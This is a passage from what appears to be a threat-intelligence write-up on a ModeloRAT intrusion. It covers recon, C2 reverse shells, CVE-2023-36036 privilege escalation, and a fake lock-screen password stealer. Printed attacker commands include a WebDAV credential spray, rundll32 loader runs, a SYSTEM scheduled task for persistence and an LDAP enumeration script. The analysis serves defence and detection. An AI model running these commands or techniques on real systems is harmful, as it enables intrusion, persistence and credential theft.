Start-Sleep -Seconds 5</pre><p style="text-align: center;direction: ltr;"><span style='font-size: undefined;'><em>Figure 2: PowerShell stager retrieving and executing portable Python payload.</em></span></p><h2 style="direction: ltr;">Reconnaissance: Environment discovery via native tools</h2><p style="direction: ltr;"><span style='font-size: undefined;'>The first Python module executed by the attacker was </span><span style='font-size: undefined;'><span data-type='inlineCode'>collector.py</span></span><span style='font-size: undefined;'>, a post-exploitation information gatherer designed to silently profile the host and save the results to </span><span style='font-size: undefined;'><span data-type='inlineCode'><em>%TEMP%\configA.json</em></span></span><span style='font-size: undefined;'>. Additionally, before any of the recon the collector.py computes a host fingerprint. This 8-character fingerprint is what the operator's C2 server uses to identify this victim.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The script gathered the following information:</span></p><table><colgroup data-width='1297'><col style="width:23.515805705474172%"/><col style="width:76.48419429452584%"/></colgroup><tbody><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'><strong>System identity and patch level</strong></span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>systeminfo, domain queries</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Privilege context</strong></span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>whoami /all and .NET Security.Principal checks (USER / ADMIN / SYSTEM)</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Processes and services</strong></span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Get-Process, Get-Service</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Network visibility</strong></span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>getmac.exe, arp -a, Get-NetTCPConnection, ping.exe</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Domain visibility</strong></span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>ran adsisearcher to enumerate accessible systems</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'><strong>AV-Solutions</strong></span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Securityhealthhost.exe, which is commonly used to verify if anti-virus solutions are running on the system</span></p></td></tr></tbody></table><p style="text-align: center;direction: ltr;"><span style='font-size: undefined;'><em>Table 1: Host Reconnaissance and Environment Enumeration.</em></span></p><p><span style='font-size: undefined;'><em></em></span></p><p style="direction: ltr;"><span style='font-size: undefined;'>All of these commands were executed through hidden PowerShell sessions using the </span><span style='font-size: undefined;'><span data-type='inlineCode'><em>CREATE_NO_WINDOW</em></span></span><span style='font-size: undefined;'> flag, allowing the script to run in the background without spawning visible console windows.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Part of reconnaissance was also a collection of installed hotfixes and system version data. The attacker was able to assess whether the host was vulnerable to a version-specific local privilege escalation exploit later used in the intrusion.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Additionally, </span><span style='font-size: undefined;'><span data-type='inlineCode'>collector.py</span></span><span style='font-size: undefined;'> and all other python modules dropped by malware were obfuscated. However, it was not difficult to recover code structure close to the original. </span></p><p></p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltb7cd86028d61cd1f/6a049535d885fd9ebe3deb0d/Obfuscated-collector-py.png" alt="Obfuscated-collector-py.png" caption="Figure 3: Obfuscated collector.py" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Obfuscated-collector-py.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltb7cd86028d61cd1f/6a049535d885fd9ebe3deb0d/Obfuscated-collector-py.png" data-sys-asset-uid="bltb7cd86028d61cd1f" data-sys-asset-filename="Obfuscated-collector-py.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 3: Obfuscated collector.py" data-sys-asset-alt="Obfuscated-collector-py.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 3: Obfuscated collector.py</figcaption></div></figure><h2 style="direction: ltr;">Stage 2: Ties to ModeloRAT</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Shortly after reconnaissance is completed, the attack shifts into its second stage as with the execution of </span><span style='font-size: undefined;'><span data-type='inlineCode'>Pmanager.py</span></span><span style='font-size: undefined;'>.</span></p><p style="direction: ltr;"><span style='color:rgb(55, 71, 79);font-size: undefined;'></span></p><pre language="python">pythonw.exe ...\python\Pmanager.py start</pre><p style="text-align: center;direction: ltr;"><span style='font-size: undefined;'><em>Figure 4: Execution of </em></span><span style='font-size: undefined;'><span data-type='inlineCode'><em>Pmanager.py</em></span></span><span style='font-size: undefined;'><em> initiating second-stage C2 activity.</em></span></p><p><span style='font-size: undefined;'><em></em></span></p><p style="direction: ltr;"><span style='font-size: undefined;'>As soon as it is started, the script creates a long-running HTTP beacon over port 80 that rotates across 5 hardcoded C2 servers: </span><span style='font-size: undefined;'><span data-type='inlineCode'>46.225.231[.]170</span></span><span style='font-size: undefined;'>, </span><span style='font-size: undefined;'><span data-type='inlineCode'>144.172.99[.]68</span></span><span style='font-size: undefined;'>, </span><span style='font-size: undefined;'><span data-type='inlineCode'>64.94.85[.]158</span></span><span style='font-size: undefined;'>, </span><span style='font-size: undefined;'><span data-type='inlineCode'>140.82.6[.]45</span></span><span style='font-size: undefined;'>, and </span><span style='font-size: undefined;'><span data-type='inlineCode'>45.76.241[.]51</span></span><span style='font-size: undefined;'>.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The script can load DLLs via </span><span style='font-size: undefined;'><span data-type='inlineCode'>rundll32.exe</span></span><span style='font-size: undefined;'>, launch additional Python scripts, run PowerShell commands, or install </span><span style='font-size: undefined;'><span data-type='inlineCode'>.msi</span></span><span style='font-size: undefined;'> packages. It also handles persistence and can update or remove itself. The reconnaissance output saved in </span><span style='font-size: undefined;'><span data-type='inlineCode'>configA.json</span></span><span style='font-size: undefined;'> is sent back to the C2, giving the operator a full picture of the host before issuing further tasks.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>This behavior closely matches the ModeloRAT framework documented by Huntress (KongTuke / CrashFix campaigns). Its communication format, persistence mechanisms, and delivery model all match what has been previously observed, with no significant deviations.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The key difference is in initial access: Where earlier campaigns relied on malicious browser extensions, this intrusion used Microsoft Teams social engineering to achieve execution.</span></p><h3 style="direction: ltr;">The on-demand shells and the WebDAV </h3><p style="direction: ltr;"><span style='font-size: undefined;'><span data-type='inlineCode'>Pmanager</span></span><span style='font-size: undefined;'> quickly deployed its first additional module </span><span style='font-size: undefined;'><span data-type='inlineCode'>USOShared1297.py</span></span><span style='font-size: undefined;'> onto the infected host. This module is a TCP reverse shell that opens 2 outbound sockets to one of 3 hardcoded C2 IPs (</span><span style='font-size: undefined;'><span data-type='inlineCode'>144.172.88[.]18</span></span><span style='font-size: undefined;'>, </span><span style='font-size: undefined;'><span data-type='inlineCode'>64.190.113[.]187</span></span><span style='font-size: undefined;'>, </span><span style='font-size: undefined;'><span data-type='inlineCode'>45.59.122[.]231</span></span><span style='font-size: undefined;'>. The port 50508 is reserved for the interactive shell that the attacker can use and port 60503 is for file transfer. The shell itself is a </span><span style='font-size: undefined;'><span data-type='inlineCode'>cmd.exe</span></span><span style='font-size: undefined;'> spawned using </span><span style='font-size: undefined;'><span data-type='inlineCode'>CreatePipe</span></span><span style='font-size: undefined;'> and </span><span style='font-size: undefined;'><span data-type='inlineCode'>CreateProcessA</span></span><span style='font-size: undefined;'> with the </span><span style='font-size: undefined;'><span data-type='inlineCode'>CREATE_NO_WINDOW</span></span><span style='font-size: undefined;'> and </span><span style='font-size: undefined;'><span data-type='inlineCode'>STARTF_USESTDHANDLES</span></span><span style='font-size: undefined;'> flags.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>This access was then used to test credential reuse across the environment through repeated WebDAV authentication attempts against internal systems.</span></p><p style="direction: ltr;"><span style='color:rgb(55, 71, 79);font-size: undefined;'></span></p><pre language="python">rundll32.exe davclnt.dll,DavSetCookie &lt;HOST&gt; http://&lt;TARGET&gt;/C%24/Windows</pre><p style="text-align: center;direction: ltr;"><span style='font-size: undefined;'><em>Figure 5: WebDAV authentication spray using </em></span><span style='font-size: undefined;'><span data-type='inlineCode'><em>davclnt.dll</em></span></span><span style='font-size: undefined;'><em> (DavSetCookie)</em></span></p><p><span style='font-size: undefined;'><em></em></span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The DavSetCookie API forces Windows to initiate a WebDAV authentication attempt using the current user’s credentials. In effect, it allows the attacker to validate where those credentials are accepted without deploying additional tools. Within minutes, successful logon events started to appear across more than 100 internal systems.</span></p><h3 style="direction: ltr;">The HTTP shell – internal.py</h3><p style="direction: ltr;"><span style='font-size: undefined;'>Not long after, the attacker added a second way into the system by deploying back-to-back </span><span style='font-size: undefined;'><span data-type='inlineCode'>Microsoft5237.py</span></span><span style='font-size: undefined;'> dropped to </span><span style='font-size: undefined;'><span data-type='inlineCode'>%TEMP%</span></span><span style='font-size: undefined;'> and </span><span style='font-size: undefined;'><span data-type='inlineCode'>internal.py</span></span><span style='font-size: undefined;'> dropped to </span><span style='font-size: undefined;'><span data-type='inlineCode'>WPy64-31401\python</span></span><span style='font-size: undefined;'>. Later analysis showed they were actually the same file, just renamed (both had the same SHA-256 hash: 930263c0843744e269b615fb2ec79f83d7bd8b2cbf75e31fd5ea6c1aaa4e48fd). The attacker was reusing the same backdoor under different names.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Each script launched a hidden PowerShell session. First it checked whether the system was domain-joined, and then set up a persistent remote shell.</span></p><p style="direction: ltr;"><span style='color:rgb(55, 71, 79);font-size: undefined;'></span></p><pre language="python">powershell -NonInteractive -NoProfile -WindowStyle Hidden -Command "(Get-CimInstance Win32_ComputerSystem).Domain"
powershell -NoProfile -NoExit -Command -</pre><p style="text-align: center;direction: ltr;"><span style='font-size: undefined;'><em>Figure 6: The </em></span><span style='font-size: undefined;'><span data-type='inlineCode'><em>-NoExit</em></span></span><span style='font-size: undefined;'><em> flag keeps PowerShell running in the background, while the trailing “-” allows it to accept commands remotely.</em></span></p><p><span style='font-size: undefined;'><em></em></span></p><p style="direction: ltr;"><span style='font-size: undefined;'>From there, </span><span style='font-size: undefined;'><span data-type='inlineCode'>internal.py</span></span><span style='font-size: undefined;'> turned that session into a full HTTP-based control channel. It registered with the C2 </span><span style='font-size: undefined;'><span data-type='inlineCode'>/handshake</span></span><span style='font-size: undefined;'>, continuously polled for instructions via </span><span style='font-size: undefined;'><span data-type='inlineCode'>/command/&lt;id&gt;</span></span><span style='font-size: undefined;'>, executed them inside the PowerShell session, and returned output via </span><span style='font-size: undefined;'><span data-type='inlineCode'>/output/&lt;id&gt;</span></span><span style='font-size: undefined;'>. The same channel handles file upload, download, and also screenshot capture. All of this communication ran over port 80 to </span><span style='font-size: undefined;'><span data-type='inlineCode'>87.120.186[.]229</span></span><span style='font-size: undefined;'> and </span><span style='font-size: undefined;'><span data-type='inlineCode'>149.248.78[.]202</span></span><span style='font-size: undefined;'>, blending in with normal web traffic.</span></p><h2 style="direction: ltr;">Stage 3: Privilege escalation via CVE-2023-36036</h2><p style="direction: ltr;"><span style='font-size: undefined;'>After gaining remote access, the attacker executed </span><span style='font-size: undefined;'><span data-type='inlineCode'>ssss.dll</span></span><span style='font-size: undefined;'> to escalate privileges.</span></p><p style="direction: ltr;"><span style='color:rgb(55, 71, 79);font-size: undefined;'></span></p><pre language="python">rundll32.exe ssss.dll startproc Mw2[REDACTED]</pre><p style="text-align: center;direction: ltr;"><span style='font-size: undefined;'><em>Figure 7: Execution of </em></span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'><em>ssss.dll</em></span></span><span style='font-size: undefined;'><em> via </em></span><span style='font-size: undefined;'><span data-type='inlineCode'><em>rundll32</em></span></span><span style='font-size: undefined;'><em>.</em></span></p><p><span style='font-size: undefined;'><em></em></span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The argument that was passed to </span><span style='font-size: undefined;'><span data-type='inlineCode'>startproc</span></span><span style='font-size: undefined;'> is a decryption key. The </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>startproc</span></span><span style='font-size: undefined;'> function uses </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>Mw2[REDACTED]</span></span><span style='font-size: undefined;'> to decrypt the payload.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The </span><span style='font-size: undefined;'><span data-type='inlineCode'>ssss.dll</span></span><span style='font-size: undefined;'> (SHA-256: b00c1cbcfb98d2618a5c2ccb311da94f3c57709a397be6c8de29839f4e943976) is a reflective loader. The loader is using that key to decrypt an embedded payload in memory and execute it. The decrypted payload is </span><span style='font-size: undefined;'><span data-type='inlineCode'>testdllLPE.dll</span></span><span style='font-size: undefined;'> (SHA-256: d84245f3a374dd5eff8ecfdfad39077d76331fde799e5306430d0fc788db7f1d), a custom privilege escalation exploit targeting CVE-2023-36036. This vulnerability is a heap-based buffer overflow in </span><span style='font-size: undefined;'><span data-type='inlineCode'>cldflt.sys</span></span><span style='font-size: undefined;'>, the Windows Cloud Files Mini Filter Driver.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Within seconds, the helper thread launched </span><span style='font-size: undefined;'><span data-type='inlineCode'>internal.py</span></span><span style='font-size: undefined;'> under a </span><span style='font-size: undefined;'><span data-type='inlineCode'>SYSTEM</span></span><span style='font-size: undefined;'> token, confirming that the exploit successfully modified the process privileges.</span></p><h3 style="direction: ltr;">What is CVE-2023-36036?</h3><p style="direction: ltr;"><span style='font-size: undefined;'>The Cloud Files driver is what makes OneDrive's "Files On-Demand" work, allowing placeholder files to appear locally while being backed by cloud storage. Sync providers (OneDrive, Dropbox, Box) register themselves with the driver using the Cloud Files API, and the driver brokers I/O between the filesystem and the provider.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>CVE-2023-36036 is a heap buffer overflow in how </span><span style='font-size: undefined;'><span data-type='inlineCode'>cldflt.sys</span></span><span style='font-size: undefined;'> processes messages from these providers. By sending crafted data through the driver’s communication interface, an attacker can overflow an internal buffer and corrupt adjacent memory. With controlled heap layout, this corruption becomes a kernel write primitive.</span></p><h3 style="direction: ltr;">Reused technique, adapted exploit</h3><p style="direction: ltr;"><span style='font-size: undefined;'>While analyzing the CVE-2023-36036 exploit, it became clear that the threat actor did not build their methodology from scratch. STAR Labs </span><a href="https://starlabs.sg/blog/2023/11-exploitation-of-a-kernel-pool-overflow-from-a-restrictive-chunk-size-cve-2021-31969/" target="_blank"><span style='font-size: undefined;'>documented</span></a><span style='font-size: undefined;'> a similar chain in their analysis of CVE-2021-31969 also in </span><span style='font-size: undefined;'><span data-type='inlineCode'>cldflt.sys</span></span><span style='font-size: undefined;'>. Their work outlined the core steps: Register a fake sync provider, shape the kernel heap, trigger the overflow, and overwrite a token.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The exploit we analyzed follows the same general playbook, but adapts it for the CVE-2023-36036 vulnerability.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The threat actor reused three core steps from the STAR Labs research to stabilize their exploit:</span></p><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Sync provider registration</strong></span><span style='font-size: undefined;'>. The exploit registers itself as "PLURIBUS" with GUID </span><span style='font-size: undefined;'><span data-type='inlineCode'>{904EE598-0511-4664-82A8-22C4A7501044}</span></span><span style='font-size: undefined;'>, pointing to </span><span style='font-size: undefined;'><span data-type='inlineCode'>%TEMP%\cldflt</span></span><span style='font-size: undefined;'>. This causes the driver to treat the directory as a valid Cloud Files root and route file operations through the vulnerable path.</span></p><p style="direction: ltr;"><strong>WNF heap shaping. </strong><span style='font-size: undefined;'>The exploit uses 4 undocumented </span><span style='font-size: undefined;'><span data-type='inlineCode'>ntdll</span></span><span style='font-size: undefined;'> syscalls: </span><span style='font-size: undefined;'><span data-type='inlineCode'>NtCreateWnfStateName</span></span><span style='font-size: undefined;'>, </span><span style='font-size: undefined;'><span data-type='inlineCode'>NtUpdateWnfStateData</span></span><span style='font-size: undefined;'>, </span><span style='font-size: undefined;'><span data-type='inlineCode'>NtDeleteWnfStateData</span></span><span style='font-size: undefined;'>, and </span><span style='font-size: undefined;'><span data-type='inlineCode'>NtQueryWnfStateData</span></span><span style='font-size: undefined;'> to allocate a large number of small objects in the kernel pool. This shapes memory so the overflow lands on controlled data instead of random structures. Without this step, the buffer overflow in </span><span style='font-size: undefined;'><span data-type='inlineCode'>cldflt.sys</span></span><span style='font-size: undefined;'> would write to unpredictable addresses and can crash the system</span></p><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Data-Only Token Overwrite</strong></span><span style='font-size: undefined;'>. Instead of using process injection or shellcode, the exploit uses its own token in kernel memory by flipping a privilege bit to gain </span><span style='font-size: undefined;'><span data-type='inlineCode'>SYSTEM</span></span><span style='font-size: undefined;'> access. What sets </span><span style='font-size: undefined;'><span data-type='inlineCode'>testdllLPE.dll</span></span><span style='font-size: undefined;'> apart is what the operator added on top of that scaffolding.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Kernel discovery method</strong></span><span style='font-size: undefined;'>. It probes the kernel address range in 1 MB steps, measuring minute differences in memory access latency to identify </span><span style='font-size: undefined;'><span data-type='inlineCode'>ntoskrnl</span></span><span style='font-size: undefined;'> base. This avoids calling privileged APIs.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Decoupled execution model</strong></span><span style='font-size: undefined;'>. Instead of elevating the thread running the exploit, this binary spawns a helper thread that continuously polls </span><span style='font-size: undefined;'><span data-type='inlineCode'>PrivilegeCheck(SeDebugPrivilege)</span></span><span style='font-size: undefined;'>. This allows the main exploit thread to crash, hang, or retry the kernel write multiple times without losing the payload. The moment the kernel finally flips the privilege bit, the helper thread detects the change and immediately launches </span><span style='font-size: undefined;'><span data-type='inlineCode'>internal.py</span></span><span style='font-size: undefined;'> as </span><span style='font-size: undefined;'><span data-type='inlineCode'>SYSTEM</span></span><span style='font-size: undefined;'>.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Trigger path</strong></span><span style='font-size: undefined;'>. The vulnerability is reached through the driver’s message handling path. When processing a </span><span style='font-size: undefined;'><span data-type='inlineCode'>FilterSendMessage</span></span><span style='font-size: undefined;'> request, cldflt.sys copies attacker-controlled data into a fixed-size buffer without proper bounds checking, overflowing into adjacent memory, specifically a function pointer.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>To trigger execution, the exploit creates a placeholder file within the fake sync root and writes to it.</span></p><p></p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltca0df1cf2ce5a5c1/6a0498a37eb54b9a75fd8ba5/CVE-2023-36036-startproc-trigger-sequence.png" alt="CVE-2023-36036-startproc-trigger-sequence.png" caption="Figure 8: CVE-2023-36036 trigger sequence in startproc. A crafted 512-byte message is delivered via FilterSendMessage, a 1024-iteration WNF spray seats the fake kernel object, and the closing WriteFile fires the corrupted callback." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="CVE-2023-36036-startproc-trigger-sequence.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltca0df1cf2ce5a5c1/6a0498a37eb54b9a75fd8ba5/CVE-2023-36036-startproc-trigger-sequence.png" data-sys-asset-uid="bltca0df1cf2ce5a5c1" data-sys-asset-filename="CVE-2023-36036-startproc-trigger-sequence.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 8: CVE-2023-36036 trigger sequence in startproc. A crafted 512-byte message is delivered via FilterSendMessage, a 1024-iteration WNF spray seats the fake kernel object, and the closing WriteFile fires the corrupted callback." data-sys-asset-alt="CVE-2023-36036-startproc-trigger-sequence.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 8: CVE-2023-36036 trigger sequence in startproc. A crafted 512-byte message is delivered via FilterSendMessage, a 1024-iteration WNF spray seats the fake kernel object, and the closing WriteFile fires the corrupted callback.</figcaption></div></figure><p>⠀</p><p style="direction: ltr;"><span style='font-size: undefined;'>When the driver intercepts the write to </span><span style='font-size: undefined;'><span data-type='inlineCode'>Link.log</span></span><span style='font-size: undefined;'>, it invokes the corrupted function pointer. This results in a controlled kernel write, which flips the </span><span style='font-size: undefined;'><span data-type='inlineCode'>SeDebugPrivilege</span></span><span style='font-size: undefined;'> bit in the helper thread's token.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>After the </span><span style='font-size: undefined;'><span data-type='inlineCode'>WriteFile</span></span><span style='font-size: undefined;'> call completes, the main exploit thread exits. The helper thread, which was polling </span><span style='font-size: undefined;'><span data-type='inlineCode'>PrivilegeCheck(SeDebugPrivilege)</span></span><span style='font-size: undefined;'> once per second since the exploit started, detects the change and breaks out of its loop. At this point, the privilege escalation has succeeded. The helper thread immediately launches the payload. </span></p><p></p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltb51776047348a437/6a0498f3ec88c64a624a6902/Helper-thread-execution-after-privilege-escalation.png" alt="Helper-thread-execution-after-privilege-escalation.png" caption="Figure 9: Helper thread execution after privilege escalation succeeds." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Helper-thread-execution-after-privilege-escalation.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltb51776047348a437/6a0498f3ec88c64a624a6902/Helper-thread-execution-after-privilege-escalation.png" data-sys-asset-uid="bltb51776047348a437" data-sys-asset-filename="Helper-thread-execution-after-privilege-escalation.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 9: Helper thread execution after privilege escalation succeeds." data-sys-asset-alt="Helper-thread-execution-after-privilege-escalation.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 9: Helper thread execution after privilege escalation succeeds.</figcaption></div></figure><p style="text-align: center;direction: ltr;"><span style='font-size: undefined;'><em></em></span></p><p>⠀</p><h2 style="direction: ltr;">Stage 4: Post-exploitation </h2><p style="direction: ltr;"><span style='font-size: undefined;'>The newly spawned </span><span style='font-size: undefined;'><span data-type='inlineCode'>internal.py</span></span><span style='font-size: undefined;'> process was running under a </span><span style='font-size: undefined;'><span data-type='inlineCode'>SYSTEM</span></span><span style='font-size: undefined;'> token. The attacker confirmed this with whoami and immediately created a scheduled task (</span><span style='font-size: undefined;'><span data-type='inlineCode'>TempLogA</span></span><span style='font-size: undefined;'>) to execute </span><span style='font-size: undefined;'><span data-type='inlineCode'>internal.py</span></span><span style='font-size: undefined;'> daily at 13:00 with </span><span style='font-size: undefined;'><span data-type='inlineCode'>SYSTEM</span></span><span style='font-size: undefined;'> privileges.</span></p><p style="direction: ltr;"><span style='color:rgb(55, 71, 79);font-size: undefined;'></span></p><pre language="python">schtasks /create /tn TempLogA 
  /tr "C:\Users\USER\AppData\Roaming\WPy64-31401\python\pythonw.exe internal.py" 
/sc daily /st 13:00 /ru SYSTEM /rl HIGHEST /f</pre><p style="text-align: center;direction: ltr;"><span style='font-size: undefined;'><em>Figure 10: Creation of </em></span><span style='font-size: undefined;'><span data-type='inlineCode'><em>SYSTEM</em></span></span><span style='font-size: undefined;'><em>-level scheduled task (</em></span><span style='font-size: undefined;'><span data-type='inlineCode'><em>TempLogA</em></span></span><span style='font-size: undefined;'><em>) for persistence.</em></span></p><p><span style='font-size: undefined;'><em></em></span></p><p style="direction: ltr;"><span style='font-size: undefined;'>With persistence in place, the attacker moved on to Active Directory enumeration.</span></p><p style="direction: ltr;"><span style='color:rgb(55, 71, 79);font-size: undefined;'></span></p><pre language="python">$d = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().GetDirectoryEntry().distinguishedName
$s = New-Object DirectoryServices.DirectorySearcher([ADSI]"LDAP://$d")
$s.PageSize = 1000
$s.Filter = "(objectClass=user)"
$s.FindAll().Count</pre><p style="text-align: center;direction: ltr;"><span style='font-size: undefined;'><em>Figure 11: Powershell command returns the total number of domain user accounts.</em></span></p><p><span style='font-size: undefined;'><em></em></span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Shortly after, the compromised account established a remote PowerShell session (</span><span style='font-size: undefined;'><span data-type='inlineCode'>WinRM</span></span><span style='font-size: undefined;'>) to a second host. Once connected, additional enumeration commands were executed through the remote PowerShell process (</span><span style='font-size: undefined;'><span data-type='inlineCode'>wsmprovhost.exe</span></span><span style='font-size: undefined;'>), extending visibility beyond the initial system.</span></p><h3 style="direction: ltr;">Expanding the foothold</h3><p style="direction: ltr;"><span style='font-size: undefined;'>Within hours of privilege escalation and enumeration, 3 additional Python modules were deployed:</span></p><p style="direction: ltr;"><span style='font-size: undefined;'><span data-type='inlineCode'>Microsoft5237.py</span></span><span style='font-size: undefined;'>: HTTP beacon to </span><span style='font-size: undefined;'><span data-type='inlineCode'>87.120.186.229</span></span><span style='font-size: undefined;'> and </span><span style='font-size: undefined;'><span data-type='inlineCode'>149.248.78.202</span></span><span style='font-size: undefined;'>. Captures screenshots via PowerShell, monitors user logins/logouts, uploads files to C2.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'><span data-type='inlineCode'>Dell508.py</span></span><span style='font-size: undefined;'>: Reverse TCP tunnel to </span><span style='font-size: undefined;'><span data-type='inlineCode'>207.246.114.50</span></span><span style='font-size: undefined;'> and </span><span style='font-size: undefined;'><span data-type='inlineCode'>149.28.96.170</span></span><span style='font-size: undefined;'> on port 80, disguised as HTTP upgrade. C2 server instructs victim to connect to specific internal targets; victim relays traffic bidirectionally.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'><span data-type='inlineCode'>PCDr6967.py</span></span><span style='font-size: undefined;'>: SOCKS5 proxy to 96.9.125.29, 144.172.111.49, and 104.194.152.246 on port 50504. Routes attacker's tools (RDP, browsers, Nmap) through victim into internal network.</span></p><h2 style="direction: ltr;">Stage 5: The lock screen that wasn't</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Roughly two hours after privilege escalation, the attacker deployed a second DLL.</span></p><p style="direction: ltr;"><span style='color:rgb(55, 71, 79);font-size: undefined;'></span></p><pre language="python">rundll32.exe com6848.dll,open e8vy[REDACTED]</pre><p style="text-align: center;direction: ltr;"><span style='font-size: undefined;'><em>Figure 12: Execution of </em></span><span style='font-size: undefined;'><span data-type='inlineCode'><em>com6848.dll</em></span></span><span style='font-size: undefined;'><em> via rundll32 to deploy credential harvesting payload.</em></span></p><p><span style='font-size: undefined;'><em></em></span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The </span><span style='font-size: undefined;'><span data-type='inlineCode'>com6848.dll</span></span><span style='font-size: undefined;'> (SHA-256: 30e5a6c982396cdf3157195b540f75096869baa8570f66fab88c07c161be27f0, internal name </span><span style='font-size: undefined;'><span data-type='inlineCode'>apple.dll</span></span><span style='font-size: undefined;'>) is a 32-bit DLL with a single export </span><span style='font-size: undefined;'><strong><span data-type='inlineCode'>open</span></strong></span><span style='font-size: undefined;'>. Its </span><span style='font-size: undefined;'><span data-type='inlineCode'>.rdata</span></span><span style='font-size: undefined;'> section is over 5 MB and contains an encrypted payload. The decryption key was conveniently provided on the command line by the attacker.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Once decrypted, the DLL reflectively loads a second stage </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>stage2.dll</strong></span></span><span style='font-size: undefined;'> (SHA-256: f5b2dbd8ec9671c0261f093ebc5f3d35920b592458a3b800cc946265111e67d0). This DLL renders a perfect replica of the Windows 10 lock screen, using the embedded font to ensure visual accuracy even on systems where the font isn’t installed. The user sees what appears to be a normal screen lock and types their password to unlock it. The DLL captures it, and writes the result to disk as </span><span style='font-size: undefined;'><span data-type='inlineCode'>yyyy-mm-dd-Log.txt</span></span></p><h3 style="direction: ltr;">What the credential unlocked</h3><p style="direction: ltr;"><span style='font-size: undefined;'>Wait, didn't the operator already have </span><span style='font-size: undefined;'><span data-type='inlineCode'>SYSTEM</span></span><span style='font-size: undefined;'> privileges? Why bother with a fake lock screen?</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>By this point, indeed the operator had </span><span style='font-size: undefined;'><span data-type='inlineCode'>SYSTEM</span></span><span style='font-size: undefined;'>-level access on the host. What they didn't have, though, was the user's domain credentials. </span><span style='font-size: undefined;'><span data-type='inlineCode'>SYSTEM</span></span><span style='font-size: undefined;'> can authenticate using the machine account, but it cannot authenticate as the user. It can't access user-specific resources, such as file shares requiring the user's permissions, mailboxes, web applications expecting user credentials, or RDP sessions that need to establish an interactive logon as that specific domain account.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The same evening, the attacker used harvested credentials to authenticate via RDP to another workstation in the network. DNS logs showed connections to Dropbox and some internal systems. Additionally, they also performed Kerberoasting against service accounts, requesting vulnerable Kerberos tickets in an attempt to expand access within the environment.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The following morning, the attacker returned to the second host via RDP and used Microsoft Edge to download the Comae toolkit, including DumpIt, a legitimate memory acquisition tool. Two minutes after unarchiving the Comae toolkit, the threat actor navigated within the browser to </span><span style='font-size: undefined;'><span data-type='inlineCode'><em>uploadnow[.]io</em></span></span><span style='font-size: undefined;'>, which offers free anonymous file upload features. During this browser session, the threat actor searched via Bing if </span><span style='font-size: undefined;'><span data-type='inlineCode'><em>SwissTransfer</em></span></span><span style='font-size: undefined;'> was a safe site to transfer large files, likely evaluating additional exfiltration methods. </span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Shortly after, </span><span style='font-size: undefined;'><span data-type='inlineCode'>DumpIt.exe</span></span><span style='font-size: 